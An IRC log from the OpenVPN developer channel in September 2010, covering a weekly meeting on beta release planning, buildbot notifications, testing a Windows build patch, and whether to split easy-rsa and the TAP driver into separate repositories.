[~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ 01:35 -!- dazo_afk is now known as dazo 01:43 <@dazo> cron2: thx! Seems pretty safe then. I think I remember enum only worked GNU C++ many years ago ... very long before gcc-3 was released (the time where you had gcc and egcs) ... so if my memory serves me well, that might have been a reason ... but who uses such ancient compilers nowadays? gcc-3.0 was released mid-2001, iirc 02:06 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 272 seconds] 02:26 <@cron2> well, indeed. If the platform is too old to have a decent C compiler, it won't have a tun driver either. 03:43 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 03:54 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 03:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:50 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 04:50 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 05:17 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:48 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 08:07 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 08:50 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 09:13 <@mattock> btw. if somebody needs to run Debian-based VMs on CentOS with KVM enabled, take a look here: http://wiki.debian.org/DebianKVMGuests 09:13 < vpnHelper> Title: DebianKVMGuests - Debian Wiki (at wiki.debian.org) 09:14 <@mattock> just moved my personal notes to the Debian wiki 09:58 <@dazo> mattock: nice wiki ... you know you can figure out which vnc port the guests have via 'virsh'? (virsh vncdisplay <guest name>) 10:16 <@mattock> dazo: not sure, perhaps... haven't tried 10:16 <@mattock> the snapshot debs I made worked nicely on Ubuntu 10.04 i386 lappy 10:16 <@mattock> so I guess all of the packages work ok 10:24 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 276 seconds] 10:34 <@dazo> cool! 10:36 < ecrist> openbsd is quite a bit different, it seems, than freebsd. 10:36 < ecrist> I'm surprised that it allows root ssh with password by default. 10:38 <@cron2> ecrist: it does? 10:41 < ecrist> yeah 10:48 <@cron2> OpenBSD is weird 10:48 <@cron2> (it also defaults to preferring IPv4 before IPv6, and cannot do NFS over IPv6 at all...) 10:49 <@cron2> mattock: congratulations, good work! 11:17 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 11:18 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:46 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:21 -!- dazo is now known as dazo_afk 12:29 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 12:51 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:51 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:13 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 14:19 -!- d457k [~heiko@88.130.208.116] has joined #openvpn-devel 14:19 -!- mode/#openvpn-devel [+o d457k] by ChanServ 14:34 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 15:10 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 15:21 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 16:08 -!- nebula [patel@vortex.openvpn.net] has joined #openvpn-devel 16:08 -!- mode/#openvpn-devel [+o nebula] by ChanServ 16:09 -!- patelx [patel@openvpn/corp/admin/patel] has quit [Ping timeout: 276 seconds] 19:15 -!- d303k [~heiko@88.130.212.77] has joined #openvpn-devel 19:15 -!- mode/#openvpn-devel [+o d303k] by ChanServ 19:19 -!- d457k [~heiko@88.130.208.116] has quit [Ping timeout: 240 seconds] 21:09 -!- d457k [~Heiko@exit0.net] has joined #openvpn-devel 21:11 -!- d457k [~Heiko@exit0.net] has quit [Client Quit] 21:13 -!- d303k [~heiko@88.130.212.77] has quit [Remote host closed the connection] 21:15 -!- d303k [~heiko@88.130.212.77] has joined #openvpn-devel 21:15 -!- mode/#openvpn-devel [+o d303k] by ChanServ 21:18 -!- d303k [~heiko@88.130.212.77] has quit [Read error: Connection reset by peer] 21:18 -!- d457k [~heiko@88.130.212.77] has joined #openvpn-devel 21:18 -!- mode/#openvpn-devel [+o d457k] by ChanServ 21:58 -!- krzie [krzee@hemp.ircpimps.org] has joined #openvpn-devel 21:58 -!- krzie [krzee@hemp.ircpimps.org] has quit [Changing host] 21:58 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 23:25 -!- d457k [~heiko@88.130.212.77] has quit [Ping timeout: 272 seconds] --- Day changed Thu Sep 23 2010 01:04 -!- krzie [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 01:04 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 01:36 -!- dazo_afk is now known as dazo 01:45 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 01:48 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 01:48 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:39 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 02:45 -!- krzie is now known as krzee 03:15 <@mattock> cron2: did you have the funky OpenBSD Sparc64 waiting to become a buildslave? 03:25 <@cron2> no, I'm the funky NetBSD sparc64 user :-) - but that box is not suitable as a buildslave (not enough memory, not enough CPU, and too sensitive data) 03:26 <@cron2> I have plans to build a buildslave on the funky Solaris10 Sparc64 box, but haven't found time yet 03:26 <@cron2> (and will setup an OpenSolaris10/i386 VM "real soon now" to see the differences between Sol and OpenSol) 03:30 <@mattock> cron2: ok 03:31 <@mattock> having something really funky would be good to catch non-portable stuff 03:31 <@mattock> as a buildslave, that is 04:00 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 04:00 <@cron2> "windows" comes to mind, won't get any funkier than that 04:16 <@mattock> so true :P 05:08 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 05:53 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 05:57 * dazo didn't know Windows was supposed to be portable at all ..... 05:59 <@cron2> oh, there was a version of NT 3.51 running on Alpha and another one on MIPS 06:09 <@dazo> oh, true! I had forgotten about that time :) 06:19 <@cron2> but indeed, windows builds will only catch 32/64 bit issues, but not endianness things 06:27 < vpnHelper> RSS Update - tickets: #57: openvpn status - show the interface used in multihome environment <https://community.openvpn.net/openvpn/ticket/57> 07:18 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 07:33 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 08:02 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 08:34 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 08:44 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] --- Log closed Thu Sep 23 09:07:28 2010 --- Log opened Thu Sep 23 09:30:37 2010 09:30 -!- ecrist [~ecrist@kenny.secure-computing.net] has joined #openvpn-devel 09:30 -!- Irssi: #openvpn-devel: Total of 15 nicks [6 ops, 0 halfops, 0 voices, 9 normal] 09:31 -!- Irssi: Join to #openvpn-devel was synced in 45 secs 09:31 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 09:56 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Remote host closed the connection] 09:58 < ecrist> !ircstats 09:58 < vpnHelper> ecrist: Error: "ircstats" is not a valid command. 09:58 < ecrist> !learn ircstats as 30-Day Stats: http://www.secure-computing.net/logs/openvpn-devel-last30.html 09:58 < vpnHelper> ecrist: Joo got it. 09:59 < ecrist> !learn ircstats as All-Time Stats: http://www.secure-computing.net/logs/openvpn-devel.html 09:59 < vpnHelper> ecrist: Joo got it. 09:59 < ecrist> !ircstats 09:59 < vpnHelper> ecrist: "ircstats" is (#1) 30-Day Stats: http://www.secure-computing.net/logs/openvpn-devel-last30.html, or (#2) All-Time Stats: http://www.secure-computing.net/logs/openvpn-devel.html 11:24 -!- none4335 [~none323@178.216.48.33] has joined #openvpn-devel 11:24 < none4335> hi, my openvpn is broked 11:24 < none4335> trying to unlock facebook 11:24 < none4335> plz help 11:25 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 11:26 -!- nebula is now known as openvpn2009 11:26 -!- openvpn2009 [patel@vortex.openvpn.net] has quit [Changing host] 11:26 -!- openvpn2009 [patel@openvpn/corp/admin/patel] has joined #openvpn-devel 11:26 -!- ServerMode/#openvpn-devel [+o openvpn2009] by kornbluth.freenode.net 11:28 < none4335> openvpn2009 plz help 11:28 < none4335> how to unblock facebook 11:29 <@cron2> you're in the wrong channel, dude 11:36 <@openvpn2009> try #facebook 11:36 < none4335> whats #? 11:36 < none4335> i usully goto facebook.com 11:37 <@dazo> none4335: /join #facebook ... or /join #openvpn .... but not #openvpn-devel ... 11:37 < ecrist> no idea what facebook has to do with openvpn... 11:38 < none4335> ok i goto facebook.com but it isnt work 11:38 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 11:39 <@dazo> none4335: last chance .... *if* this is connected to OpenVPN somehow (I don't know how) ... then go to the #openvpn channel ... or other places 11:40 < none4335> ok yes 11:40 -!- none4335 [~none323@178.216.48.33] has left #openvpn-devel ["Leaving"] 12:29 < krzie> lol 12:29 < krzie> sad thing, i think that was reak 12:29 < krzie> real* 12:37 -!- d457k [~heiko@88.130.212.77] has joined #openvpn-devel 12:37 -!- mode/#openvpn-devel [+o d457k] by ChanServ 12:54 <@mattock> oh, we had a visitor 12:54 <@mattock> interesting guy 12:59 <@mattock> anything to add to the topic list: https://community.openvpn.net/openvpn/wiki/Topics-2010-09-23 12:59 <@mattock> ? 12:59 < vpnHelper> Title: Topics-2010-09-23 – OpenVPN Community (at community.openvpn.net) 13:01 * dazo joins ... but cannot stay more than 1 hour 13:02 <@mattock> ok, we need to cut the slack then 13:02 <@mattock> suits me :) 13:02 <@dazo> :) 13:02 <@mattock> I'll give James 3 minutes 13:02 <@mattock> he's been pretty active here lately... compared to earlier times 13:02 * dazo is doing last preparations for an exam tomorrow 13:02 <@mattock> RHCA? 13:02 <@dazo> yeah, that's been great 13:03 <@dazo> mattock: only the first exam ... of 5 or 6 13:03 <@mattock> are they difficult? 13:03 <@cron2> oh, meeting time 13:03 <@dazo> I've been learning a lot about directory services and authentication this week ... ldap and kerberos, plus how to hook up authentication against Windows AD 13:04 <@mattock> dazo: do you already have a RHCE certification? 13:04 <@dazo> yeah, I do 13:04 <@dazo> RHCE can be pretty tough, especially if you don't have much Linux sys-admin experience 13:04 <@mattock> both would be nice to get, but they're costly 13:04 <@mattock> unless one is working for RH 13:05 <@dazo> some of the RHCA exams are pretty hard ... this one tomorrow seems to be pretty fine 13:05 <@dazo> heh :) 13:05 <@dazo> you know where you should send your CVs then ;-) 13:06 <@mattock> ok, mail to james sent 13:07 <@mattock> dazo: +1 13:07 <@mattock> ok, shall we start? 13:07 <@mattock> from the bottom this time? 13:07 <@mattock> https://community.openvpn.net/openvpn/wiki/Topics-2010-09-23 13:07 < vpnHelper> Title: Topics-2010-09-23 – OpenVPN Community (at community.openvpn.net) 13:07 <@dazo> yeah 13:08 <@mattock> I'd like to know what to focus on after buildbot is fully functional (=soon) 13:08 <@mattock> when will we release next beta? 13:08 <@dazo> windows build are then getting a high-prio from my side 13:08 <@mattock> that determines how fast I got to learn windows (+TAP driver) building 13:09 <@mattock> Windows building could be a piece of cake, or not... 13:09 <@dazo> next beta ... I'd like to complete the plugin_v3 patches ... I have some new patches which just needs to be tested ... I'd like to see that in v2.2, to give a little bit features as well ... unless somebody rejects 13:10 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:10 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:10 <@dazo> \o/ 13:10 <@mattock> beta4 in one month? 13:10 <@mattock> hi james! 13:11 <@jamesyonan> Hi! 13:11 <@mattock> we were just discussing release date estimates for 2.2-beta4 13:11 <@mattock> to give me an idea when to start working on the windows building side of things 13:11 <@cron2> mattock: buildbot-vpn-testing 13:11 <@dazo> yeah, I think that's doable ... we're in the middle of some big testing at work, and I've been blocked a week now with the training and exam ... so I think that's doable, but it's gonna be full speed working on it from my side 13:12 <@mattock> cron2: could you decipher that :) 13:12 <@dazo> good point, cron2! 13:12 <@dazo> a test server ... for automated testing, the testing framework he has written 13:12 <@cron2> mattock: you were wondering what to do next. buildbot is building things, but not testing them. test :-) 13:13 <@mattock> yeah, I see 13:13 <@mattock> it is testing the build, but the build is not testing openvpn :) 13:13 < ecrist> um, shouldn't betas limit the number of new code? 13:13 <@cron2> mattock: it's good to have automated build for platform-dependent breakage, but we can do better even :-) 13:13 <@mattock> anyways, I mailed Wayne (the guy who offered the VPS to us) and asked him to set it up with FreeBSD 13:13 <@mattock> cron2: agreed 13:13 <@dazo> ecrist: well, the changes we have in 2.2 so far, is really not big ... it's actually more like a 2.1.10 release 13:14 <@dazo> so we can dare to pull a little bit more in during the beta ... especially when it's not directly connected to the VPN tunnel traffic itself 13:14 <@dazo> but that's just my opinion about it 13:15 <@mattock> ok, so if a realistic release date for beta4 is +4-6 weeks, I can finish the buildbot stuff and then move to the "testing server" stuff 13:15 <@mattock> and then to windows building 13:15 <@cron2> that would be great 13:15 <@dazo> sounds like a plan 13:15 <@mattock> should be doable 13:15 <@mattock> ok, then let's do that 13:16 <@mattock> what if we discuss Alon's patch? 13:16 <@mattock> jamesyonan could perhaps give it an ACK or NACK? 13:17 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/3991 13:17 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:17 <@cron2> Alon is not a polite person :-) 13:17 <@dazo> his edges are sharp ;-) 13:17 <@mattock> yeah, we've noticed that :) 13:18 <@dazo> but after all, it's not just nonsense ... if you see beyond these edges, he got some points 13:18 <@dazo> (generally speaking) 13:18 <@cron2> I'm looking at the patch right now, but can't understand the acinclude.m4 stuff 13:18 <@cron2> dazo: yes 13:20 * ecrist wishes some of those guys would come to a meeting and speak their minds. 13:20 <@dazo> :) 13:20 < ecrist> they're obviously bright folks. 13:20 <@mattock> yep... 13:20 < ecrist> despite the razor wire they wear. 13:20 <@dazo> many bright people I know, stay away from irc ... they don't have time for it .... 13:20 < ecrist> *shrug* 13:21 <@mattock> jamesyonan: any comments on Alon's patch? 13:21 <@cron2> dazo: there is some wisdom in that! 13:22 <@dazo> I think I've decoded the acinclude.m4 stuff a bit .... it basically forces mingw compilers to use curl_cv_socklen_t_equiv=int 13:22 <@mattock> although IRC is like anything else... it only consumes you if you let it. 13:22 <@dazo> otherwise (on unknown platforms) it does the compile tests as defined, which was the normal procedure earlier 13:24 <@jamesyonan> I'm not seeing Alon's patch -- only a discussion about separating windows TAP driver into its own project. 13:24 <@dazo> jamesyonan: http://thread.gmane.org/gmane.network.openvpn.devel/3991 ... scroll down a bit in the first mail 13:24 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:24 <@mattock> it's here, appended to the first message: http://thread.gmane.org/gmane.network.openvpn.devel/3991 13:24 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:24 <@dazo> mattock: you're slow! 13:25 * dazo runs and hides 13:25 <@cron2> dazo: you know he's into artillery... no way to hide 13:25 <@mattock> argh! :) 13:25 <@mattock> I truly am... 13:25 * dazo had forgotten about that ... 13:25 * dazo fires up his shield and hope it works on ancient toys 13:28 <@jamesyonan> any idea if Alon's patch has been tested on MinGW 32 bits? 13:29 <@dazo> I've not heard anything else than what's in this mail thread ... so, not sure 13:29 <@mattock> perhaps we should ask Alon? 13:29 <@mattock> 13:30 <@dazo> We can divide this one up in 2 parts .... one is the curl_cv_socklen_t_equiv stuff ... that might be bitten by MinGW 32/64 bit stuff 13:31 <@dazo> the other part is basically #include stuff ... which should not have any effect at all on 32bit or 64 bit 13:31 <@dazo> plus this on ... + CPPFLAGS="${CPPFLAGS} -DWIN32_LEAN_AND_MEAN" 13:31 <@jamesyonan> I'm also wondering why he's removing the include "autodefs.h" 13:33 <@dazo> He asks this question, related to autodefs.h: "Also, when did the autodefs.h went mandatory? Why is it in tap-win32/common.h while no constant is actually used?" 13:35 <@dazo> I've just done a autoreconf + ./configure + make ... and I don't have that include file at all 13:35 <@dazo> but that's not in a mingw environment 13:36 <@mattock> ok, so removing autodefs.h include would be ok? 13:36 <@dazo> I don't know where that file comes in ... except that it seems to be auto generated on some platforms 13:38 <@dazo> it might make sense to only include it if you're doing it via a autotools based platform (which sets HAVE_CONFIG_H) ... and non-autotools platforms won't generate that file if needed 13:39 <@jamesyonan> [ testing Alon's patch now ] 13:40 <@mattock> nice! 13:40 <@dazo> no wasting time here :) 13:40 <@mattock> dazo: what about the splitting of easy-rsa and tap driver to separate git trees? 13:41 <@dazo> I think that's very much sensible 13:41 <@mattock> anything new on that front? 13:41 <@mattock> jamesyonan: what's your take on that idea? 13:41 <@dazo> nope, I'll look into that _if_ people don't disagree with doing that ... and it will be when I redo the tree for the final 2.2 release 13:42 <@mattock> regarding final 2.2 release... when will that be? 13:43 <@dazo> after beta and rc? :-P 13:43 <@dazo> before end of this year, I hope ... 13:43 <@mattock> yeah, we haven't had any (negative) feedback on 2.2-beta3 so far I think 13:44 <@mattock> and it's been downloaded thousands of times 13:44 <@mattock> so it must be relatively stable 13:44 <@dazo> realistically, around january probably .... if we in about a month pushes out beta4 ... (that's late october) ... and then we let the RC run for a month or so 13:44 <@dazo> 2.2 should not introduce much trash ... it's a really clean progress from 2.1 ... 13:45 <@dazo> mostly bugfixes, you know ... should make people happy :) 13:45 <@mattock> I'd guess so 13:46 <@mattock> too bad people only tell when things are broken, not when they're working 13:46 <@dazo> the most "dangerous" patches are from cron2, enabling ipv6 on the wintap driver 13:46 <@mattock> no matter how nice you ask :) 13:46 <@dazo> :) 13:46 <@mattock> no comments on my Debian/Ubuntu packages, which leads me to believe they work just fine 13:47 <@mattock> I'm sure _somebody_ has tested them, even without looking at webserver logs 13:47 <@mattock> btw. I was thinking that we could release Debian/Ubuntu packages for the next beta 13:47 <@dazo> heh :) Yeah, I did point someone on irc in that direction as well ... so people have been asking 13:47 <@dazo> sure can do! 13:48 <@mattock> that'd make 8 different 2.2-beta4 packages + the usual (zip, tar.gz, exe) 13:49 <@mattock> now, as were running out of time, a few buildbot questions. 13:50 <@mattock> I'm thinking that we could have a single mailinglist for buildbot mails 13:50 <@jamesyonan> mattock: splitting the openvpn, windows TAP, and easy-rsa projects at the source level seems okay. 13:50 <@jamesyonan> the easy-rsa is essentially a standalone package 13:50 <@cron2> mattock: two lists would be fine as well, so people can join just "commit" (what's going on?) without being spammed by build messages 13:51 <@dazo> jamesyonan: when you have some results from Alon's patch ... can you either ping me here on IRC or (preferably just reply on Alon's mail to the list with an ACK? 13:51 <@dazo> cron2: +1 13:51 <@cron2> I'd go for "two lists, moderated [=read-only]" 13:51 <@mattock> cron2: fair point 13:51 <@jamesyonan> the windows tap driver is not quite standalone -- there's a common.h file which is included by both openvpn and tap 13:51 <@jamesyonan> mattock: sure, I'm giving it a run now 13:51 <@mattock> cron2: yeah, they definitely need to be moderated lists 13:52 <@mattock> ok, so two lists 13:52 <@mattock> both moderated 13:52 <@cron2> IRC notifications, I'm not sure about. Might be a bit noisy. 13:52 <@mattock> the funny thing is that buildbot IRC bot allows doing stuff to buildbot from the IRC 13:53 <@mattock> e.g. get the status of buildslaves 13:53 <@dazo> jamesyonan: is there stuff in common.h which can be split out? I know some of the defines are used in OpenVPN ... but are all of them used both in OpenVPN and in TAP driver? 13:53 <@mattock> http://buildbot.net/buildbot/docs/0.7.12/#IRC-Bot 13:53 < vpnHelper> Title: BuildBot Manual 0.7.12 (at buildbot.net) 13:54 <@dazo> well, having notify on failed builds on IRC for sure would catch our attention 13:54 <@mattock> we don't have to decide this right now, though 13:54 <@mattock> check out the link I gave and see what you think 13:55 <@cron2> having a single HEADS UP! build failed! message would be great - having 30 messages (because something broke and all 30 builds failed) would be too nosiy 13:55 <@cron2> noisy 13:55 <@dazo> agreed 13:55 <@jamesyonan> tap-win32/common.h really represents the the communication between openvpn and windows tap driver -- most of the stuff here is needed to be known by both 13:55 <@mattock> cron2: I've been worrying about that... 13:56 <@mattock> not yet sure how to fix that 13:56 <@mattock> actually I think that binding all builds into a single "buildset" would do the trick 13:56 <@dazo> jamesyonan: I see ... I'm just going through each of the definitions in common.h ... and I've not found any uses in tap-win32 yet ... (only come to interval_t) 13:57 <@dazo> (I'm using git grep to look for stuff) 13:57 <@mattock> so one mail if _any_ of the 30 builds fails 13:57 <@cron2> dazo: not common.h, but tap-win32/common.h 13:57 <@dazo> ahh! 13:57 * cron2 fell into the same trap :) 13:58 <@dazo> but ... please forgive my lack of knowledge here .... stuff in tap-win32/, isn't that isolated to the TAP driver only? 13:59 <@cron2> tun.h:#include "tap-win32/common.h" 13:59 <@dazo> #ifdef WIN32 13:59 <@dazo> fair enough, I see some link now 14:00 <@dazo> well, a "work around" for this ... is to use git submodule 14:00 <@dazo> openvpn-wintap.git will have the tap-win32/ stuff .... and then openvpn.git will map openvpn-wintap.git to tap-win32/ using a sub-module 14:01 <@dazo> so when building on non-windows ... you checkout stuff like before, and build 14:01 <@d457k> why not configure --with-tap-win32 to locate the header off tree? 14:01 <@dazo> d457k: even better! 14:02 <@cron2> I'm not convinced :-) 14:02 <@cron2> normal machines wouldn't have that header (because you don't need it to *run* openpvn) 14:02 <@cron2> and devel machines (cross-devel especially) won't have it either, because you won't install the tap driver there 14:02 <@jamesyonan> mattock: Alon's patch seems okay on Windows -- I was able to build on both MingGW-32 and MSVC 14:03 <@d457k> i mean like --with-tap-win32=/home/foo/tap32/include not autmagically 14:03 <@cron2> sure, but where should the file come from? 14:03 <@d457k> git 14:03 <@mattock> jamesyonan: excellent! thanks for testing! 14:03 <@dazo> from a separate checkout 14:03 <@d457k> erm, i mean s vn =) 14:03 <@cron2> d457k: sounds cumbersome 14:04 <@d457k> if you build this software on windows you are as well =) 14:04 <@dazo> well, using a git submodule would make it one step closer to the old behaviour though 14:04 <@jamesyonan> Think of tap-win32/common.h as being the header file for a library, where the TAP driver is the library 14:04 <@dazo> yupp! 14:04 <@cron2> ack, understoodf 14:05 <@mattock> so just separate easy-rsa and leave TAP driver alone? 14:05 <@dazo> using submodule you do: git clone openvpn-testing.git ... cd openvpn-testing ... git submodule init (which pulls down openvpn-wintap.git into tap-win32/, but tracks development separately) ... and then do the normal build 14:05 <@cron2> fun stuff 14:06 <@dazo> submodule is really do track things separately, when splitting completely is awkward 14:06 <@dazo> and you only need the tap-win32/ stuff when compiling for windows 14:06 <@d457k> lets lean back and reconsider what advantages a separte tap32 would bring 14:06 <@mattock> d457k: +1 14:07 <@dazo> that we can more easily ship a new and separate wintap driver 14:07 <@cron2> independent development and release cycles is something I can see - but that makes sense only if tap is developed more frequently than openvpn 14:07 <@cron2> +1 14:07 <@d457k> i dont see that happen frankly 14:07 <@d457k> afk brb 14:07 <@dazo> the current situation is horrendous ... where we need to update the version number on OpenVPN whenever we do some funky stuff with the TAP driver and/or the build system 14:08 <@cron2> splitting out the TAP driver won't help with the build system 14:08 <@dazo> which then makes, like with 2.1.x .... 2.1.0 and 2.1.1 only have one change, a fix to openvpn.spec 14:08 <@mattock> increasing openvpn version number if build system changes does not make much sense... 14:09 <@dazo> 2.1.2 and 2.1.3 - windows build system updates ... no code change 14:09 <@mattock> how could we fix the build system issue? 14:09 <@dazo> what is 2.1.3 today, should have been 2.1.1 in reality 14:09 <@dazo> windows builds need to get a build number into the version 14:09 <@dazo> which is only touching windows building 14:10 <@mattock> so this is only an issue because of the windows builds? 14:10 <@dazo> yeah 14:10 <@cron2> well, if we can get windows building tested *before* tagging the next release, it's no issue at all 14:10 <@jamesyonan> currently we actually have two windows build systems, one based on autoconf/automake tools and mingw, and the other based on MSVC with python scripts that do the driving. 14:11 <@jamesyonan> the python-based build system is in the 'win' directory 14:11 <@jamesyonan> also the python build system builds that TAP drivers 14:12 <@mattock> anyways, already past dazo's 1 hour limit :)... 14:12 <@dazo> ouch ... I noticed now 14:12 <@dazo> too much fun on this channel :) 14:13 <@mattock> so a summary: we definitely want to split easy-rsa into a separate git tree 14:13 <@jamesyonan> so any splitting of projects would need to also need to intelligently split the build scripts as well 14:13 <@jamesyonan> mattock: +1 14:13 <@mattock> we're not 100% sure if splitting tap-driver into a git submodule is worth the effort 14:13 <@dazo> yeah, that's a part of the conecpt 14:13 <@mattock> and we definitely need to do something to the Windows build system 14:14 <@cron2> .oO(automated tests of the resulting binary and driver...) *duck* *run* 14:14 <@mattock> cron2: one test server coming up 14:15 <@mattock> regarding Alon's patch... so it worked ok 14:15 <@jamesyonan> yes 14:15 <@mattock> do we need to get further information from Alon or can somebody (james?) give it an ACK? 14:15 <@dazo> I'll apply that patch with Acked-by James then sometime next week 14:16 <@mattock> I think we should continue the "splitting stuff into separate trees/submodules" discussion later 14:16 <@dazo> mattock: jamesyonan have given an ACK here, as I read it ... and so if you just state it in the meeting minutes, I'm happy 14:16 <@mattock> dazo: ok, will do 14:16 <@dazo> agreed ... splitting needs to be tackled a couple of more rounds 14:16 <@jamesyonan> I haven't tested the patch on *nix yet, but I can ACK for Windows at this point 14:17 <@mattock> I'll summarize our current view of the "splitting stuff" so that people on ml can comment on that 14:17 <@mattock> ok, is that it? record time? 14:18 <@mattock> dazo: you should definitely have a tight schedule every week :P 14:18 <@dazo> heh :) 14:18 <@mattock> anything else, anyone? 14:18 <@d457k> jamesyonan: i have shell code that build tap32 that could be included in the autotools chain 14:18 * dazo need to complete some lab exercises for tomorrows exam 14:18 <@d457k> dazo: good luck tomorrow 14:18 <@mattock> dazo: good luck with the exam! 14:18 <@dazo> thx! 14:18 * dazo heads out 14:19 <@mattock> bye! 14:19 <@cron2> d475k: do you think we could try automating client+tap tests on windows? 14:19 <@cron2> what we have on *ix now with t_client.sh / t_client.rc 14:20 <@jamesyonan> d457k: tap build is tricky -- to build for Win2k through Win 7 you need to use multiple versions of the DDK/WDK 14:20 <@d457k> cron2: well is you hammer cygwin on the windows box you have all tool to do so 14:20 <@mattock> jamesyonan: can the same DDK/WDK be used for WinXP -> Win7 14:21 <@jamesyonan> yes 14:21 <@d457k> jamesyonan: you do? 14:21 <@cron2> d457k: mmmh, mingw already gives me that. Need to go and play with that. 14:21 <@mattock> Win2000 is EOL... I think we decided to end support for it at least for 2.2+ 14:21 <@cron2> d457k: latest WDK doesn't build 2k, earlier versions don't build win7 14:21 <@d457k> cron2: if you mean msys, that one's buggy as hell 14:21 <@mattock> and only one guy responded to my mails asking if we should keep win2k support 14:21 <@cron2> d457k: yes, msys. it is? 14:22 <@cron2> seemed to work for me 14:22 <@d457k> cron2: i've tried to script our build system and left towards cygwin 14:22 <@cron2> oh 14:23 <@cron2> well, openvpn builds under msys, and seems to work :-) 14:23 <@d457k> some crepy stuff like ln -s not working correctly lik under unix 14:23 <@cron2> who needs symlinks anyway :-) - but yes, it's "different". 14:23 <@d457k> yeah if you don't rely on shell scripts 14:23 <@cron2> how do you build with cygwin? is it also "mingw-gcc"? or something else? 14:24 <@d457k> they have mingw on board 14:24 <@cron2> ah 14:24 <@d457k> and the project is alive sort of, compared to msys 14:25 <@d457k> and you can run a openssh server on windows =) 14:25 <@mattock> d457k: very useful indeed 14:25 <@cron2> I know *that* (I see the patches being sent o the openssh list :) ) 14:25 <@cron2> s/ o / to / 14:26 <@d457k> jamesyonan: about the ddk issue, that's a matter of --with-ddk=$path, isn't it? 14:26 <@d457k> of course you'd have to configure whole ovpn again 14:27 <@d457k> but i see tap32 as integral part of ovpn (on win32 at least) and no need to split it off forcefully 14:28 <@mattock> I think I'll split now, you guys keep on going :) 14:29 <@d457k> mattock: bye 14:29 <@mattock> I think the official part ended officially when dazo left :) 14:29 <@mattock> bye! 14:30 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 14:31 <@d457k> jamesyonan: how do you feel about more win32 specific code in the ovpn source? 14:32 <@d457k> if my current ides work out as expected, routes would not be set by ovpn anymore. ovpn would delegate all stuff that needs privileges to the service #ifdef WIN32 14:33 <@cron2> d457k: sounds great, but please take IPv6 into account right away 14:33 <@cron2> as in "don't build new things that will be IPv4 only" 14:33 <@d457k> that way openvpn.exe would run with the token of the user who started it, minimizing to risk of priv escalaition 14:33 <@cron2> all for it 14:34 <@d457k> i havent done test to verify that the local system account still has the right to impersonate in win7 and read contrary statements on the web 14:35 <@d457k> pluss several other stuff i need to test, but the raw concept is finished 14:36 <@d457k> hope i get time for that at work to make it happen faster 14:37 <@cron2> your company is using openvpn internally for client-vpn access, isn't it? 14:37 <@d457k> yes 